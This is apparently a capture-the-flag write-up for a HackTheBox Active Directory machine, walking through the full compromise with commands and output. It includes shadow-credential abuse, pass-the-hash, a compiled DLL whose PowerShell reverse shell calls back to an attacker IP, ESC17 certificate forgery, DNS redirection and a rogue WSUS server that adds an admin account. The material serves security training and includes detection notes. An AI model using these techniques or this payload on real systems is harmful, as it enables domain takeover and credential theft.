Kill Chain
Recon & Credential Discovery
Port scan
shell
nmap -sC -sV -p- 10.129.33.228
Key ports: 53 (DNS), 88 (Kerberos), 445 (SMB), 389 (LDAP), 5985 (WinRM), 8530/8531 (WSUS). The presence of WSUS immediately signals a potential update-based attack path.
SMB enumeration
shell
netexec smb 10.129.33.228 -u '' -p '' --shares
# Anonymous session reveals readable share: \\DC01\Logs
netexec smb 10.129.33.228 -u 'wallace.everette' -p 'Welcome2026@' --shares
Credentials wallace.everette:Welcome2026@ found. Browsing the \\DC01\Logs share reveals service account credentials hardcoded in a log file: svc_recovery:Em3rg3ncyPa$$2026.
Kerberos Setup
svc_recovery fails LDAP Simple Bind (data 52f — account restrictions) but Kerberos authentication works fine. Configure /etc/krb5.conf and obtain a TGT.
/etc/krb5.conf
[libdefaults]
default_realm = LOGGING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
LOGGING.HTB = {
kdc = dc01.logging.htb
admin_server = dc01.logging.htb
}
[domain_realm]
.logging.htb = LOGGING.HTB
logging.htb = LOGGING.HTB
shell
kinit [email protected]
klist
Shadow Credentials → msa_health$ Hash
Why this works
svc_recovery has AddKeyCredentialLink write permission on the msa_health$ Group Managed Service Account. This attribute (msDS-KeyCredentialLink) stores certificate-based credentials for the account. By adding a fake key credential here, we can authenticate as msa_health$ using the certificate we control — and retrieve its NT hash via PKINIT.
Windows Hello for Business stores public key credentials in the
msDS-KeyCredentialLink attribute of user/computer objects. When a client authenticates using PKINIT (Kerberos with a certificate), the KDC looks up the corresponding public key in this attribute and verifies the signature.If you have write access to this attribute on a target account, the attack is:
① Generate a new RSA key pair locally
② Write the public key into
msDS-KeyCredentialLink of the target
③ Authenticate to the KDC via PKINIT using your private key — you'll get a TGT as the target account
④ Use that TGT with
UnPAC-the-hash to extract the account's NT hashNo password is changed. No account is locked. Certipy restores the original attribute value after extraction — making this extremely quiet from a blue team perspective. Detection requires monitoring
msDS-KeyCredentialLink modification events (Event ID 5136).
shell
export KRB5CCNAME=/tmp/svc_recovery.ccache
certipy-ad shadow auto \
-u [email protected] \
-k -no-pass \
-dc-ip 10.129.33.228 \
-target dc01.logging.htb \
-dc-host dc01.logging.htb \
-account msa_health$
output
[+] NT Hash: 603fc24ee01a9409f83c9d1d701485c5
[+] TGT saved: msa_health.ccache
# Certipy automatically restores the original msDS-KeyCredentialLink — OPSEC safe
Initial Access via WinRM
MSAs block WMI and interactive logons by design — these are service accounts, not user accounts. WinRM with Pass-the-Hash bypasses this restriction.
shell
evil-winrm -i dc01.logging.htb \
-H 603fc24ee01a9409f83c9d1d701485c5 \
-u 'msa_health$'
# PS C:\Users\msa_health$\Documents>
Lateral Movement — DLL Hijack → jaylee.clifton
Discovery
Enumeration of the filesystem reveals monitor.ps1 and a scheduled task named UpdateChecker Agent running every 3 minutes as jaylee.clifton. The task:
C:\ProgramData\UpdateMonitor\Settings_Update.zipsettings_update.dll into C:\Program Files\UpdateMonitor\bin\PreUpdateCheck() from the DLLWe control the ZIP source path and the DLL name. The task runs as jaylee.clifton — so our DLL executes as that user.
UpdateMonitor.exe is a 32-bit binary. A 64-bit DLL will silently fail to load. Always check the architecture with file or PE header inspection before compiling. Using the wrong compiler wastes 30 minutes per iteration waiting for the scheduled task.Payload
c — dllmain.c
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() {
WinExec(
"cmd.exe /c start /b powershell -ep bypass -c "
"\"$c=New-Object System.Net.Sockets.TCPClient('10.10.14.121',4444);"
"$s=$c.GetStream();"
"[byte[]]$b=0..65535|%{0};"
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){"
"$d=([text.encoding]::ASCII).GetString($b,0,$i);"
"$sb=(iex $d 2>&1|Out-String)+'PS '+(pwd).Path+'> ';"
"$s.Write(([text.encoding]::ASCII).GetBytes($sb),0,$sb.Length);"
"$s.Flush()}; $c.Close()\",
SW_HIDE
);
}
BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) {
return TRUE;
}
shell — compile + package (x86)
i686-w64-mingw32-gcc -shared -o settings_update.dll dllmain.c \
-lws2_32 -Wl,--export-all-symbols
zip Settings_Update.zip settings_update.dll
Deployment
powershell — evil-winrm
New-Item -Path "C:\ProgramData\UpdateMonitor" -ItemType Directory -Force
upload /root/Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
shell — listener + trigger
nc -lvnp 4444
# trigger immediately instead of waiting 3 minutes
schtasks /run /tn "UpdateChecker Agent"
result
PS C:\> type C:\Users\jaylee.clifton\Desktop\user.txt
6c05a2eb12e8c348d6a86bc736b2f4f7
Privilege Escalation — ESC17 + WSUS MitM → SYSTEM
The setup
WSUS runs at https://wsus.logging.htb:8531 (HTTPS). Standard WSUS MitM attacks fail against HTTPS because you need a valid TLS certificate the Windows Update client will trust. However, the AD CS template UpdateSrv has a critical misconfiguration — ESC17.
AD CS templates have two relevant flags here. The EKU (Extended Key Usage) defines what the certificate can be used for. The CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag means the requester — not the CA — chooses what goes in the Subject Alternative Name field.
ESC1 abuses the Client Authentication EKU: you supply any UPN (e.g.
[email protected]) in the SAN, and the resulting cert lets you authenticate to AD as that user via PKINIT.Admins often "fix" ESC1 by switching the EKU to Server Authentication — thinking client auth certs are the only risk. But ESC17 shows this is wrong. With Server Authentication EKU and Enrollee Supplies Subject still enabled, you can request a valid TLS certificate for any hostname. The domain CA signs it. Every domain-joined machine trusts that CA unconditionally. This means you can impersonate any HTTPS service in the domain — including WSUS.
The Windows Update client connects to WSUS over HTTPS and validates the server certificate. Since our cert was signed by the domain's own CA, it passes validation. The client trusts us completely and accepts our injected update commands — which run as SYSTEM.
Step 1 — Get jaylee.clifton TGT
powershell — jaylee shell
.\Rubeus.exe tgtdeleg /nowrap
# Outputs base64-encoded kirbi ticket
shell — convert kirbi → ccache
echo "<BASE64_OUTPUT>" | base64 -d > jaylee.kirbi
python3 /usr/share/doc/python3-impacket/examples/ticketConverter.py \
jaylee.kirbi jaylee.clifton.ccache
export KRB5CCNAME=~/HackTheBox/Logging/jaylee.clifton.ccache
klist
Step 2 — Request ESC17 certificate for wsus.logging.htb
shell — certipy
python3 /usr/lib/python3/dist-packages/certipy/entry.py req \
-u '[email protected]' \
-k -no-pass \
-dc-host dc01.logging.htb \
-target dc01.logging.htb \
-ca logging-DC01-CA \
-template UpdateSrv \
-dns wsus.logging.htb \ # supply our own SAN
-out wsus.pfx \
-dc-ip 10.129.33.228
openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes -passin pass:
Step 3 — Redirect DNS
The DNS zone accepts authenticated Kerberos updates. Redirect wsus.logging.htb A record to our attacker IP — so the DC sends Windows Update traffic to us instead of the real WSUS server.
shell — nsupdate with Kerberos
nsupdate -g << EOF
server 10.129.33.228
realm LOGGING.HTB
update delete wsus.logging.htb A
update add wsus.logging.htb 300 A 10.10.14.121
send
EOF
nslookup wsus.logging.htb 10.129.33.228
# Address: 10.10.14.121 ← points to us now
Step 4 — Rogue WSUS server
With the valid TLS certificate and DNS redirected, launch wsuks to serve a rogue WSUS response. When the Windows Update client checks in, it presents our certificate — trusted by the domain CA — and receives our malicious update command, executed as SYSTEM.
--serve-only flag skips ARP and relies purely on DNS redirection instead. Without this flag, wsuks exits immediately on a VPN connection.shell — wsuks setup
python3 -m venv ~/wsuks-env
source ~/wsuks-env/bin/activate
pip install wsuks
# Copy nftables bindings into venv (required dependency)
cp -r /usr/lib/python3/dist-packages/nftables \
~/wsuks-env/lib/python3*/site-packages/
shell — launch rogue WSUS
sudo ~/wsuks-env/bin/wsuks \
--serve-only \
--WSUS-Server wsus.logging.htb \
--tls-cert wsus.pem \
--WSUS-Port 8531 \
-I tun0 \
-c "/accepteula /s cmd.exe /c net user hacker Password123! /add \
&& net localgroup administrators hacker /add"
When the Windows Update client checks in, it connects to our server, validates our TLS certificate (signed by the domain's own CA — fully trusted), and executes our injected command as SYSTEM.
Root
shell
evil-winrm -i dc01.logging.htb -u hacker -p 'Password123!'
type C:\Users\Administrator\Desktop\root.txt
HTB{...}
MITRE ATT&CK Mapping
| ID | Technique | Tactic | Context |
|---|---|---|---|
T1078 | Valid Accounts | Initial Access | svc_recovery credentials in log file |
T1098.004 | Account Manipulation — Shadow Credentials | Credential Access | AddKeyCredentialLink write on msa_health$ |
T1550.002 | Pass-the-Hash | Lateral Movement | WinRM with msa_health$ NT hash |
T1574.011 | Hijack Execution Flow — DLL Side-Loading | Privilege Escalation | UpdateChecker Agent loads attacker-controlled DLL |
T1053.005 | Scheduled Task / Job | Execution | UpdateChecker Agent runs every 3 minutes as jaylee.clifton |
T1649 | Steal or Forge Authentication Certificates | Credential Access | ESC17 — Enrollee Supplies Subject on Server Auth template |
T1584.002 | Compromise Infrastructure — DNS | Defense Evasion | Kerberos-authenticated DNS update redirects WSUS hostname |
T1059.001 | Command and Scripting — PowerShell | Execution | Reverse shell via DLL payload and WSUS command injection |
Key Takeaways
msDS-KeyCredentialLink attribute changes.file or check the PE header (IMAGE_FILE_HEADER.Machine) before writing a single line of C.CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is still dangerous with Server Auth because it enables TLS certificate forgery for any hostname the CA serves.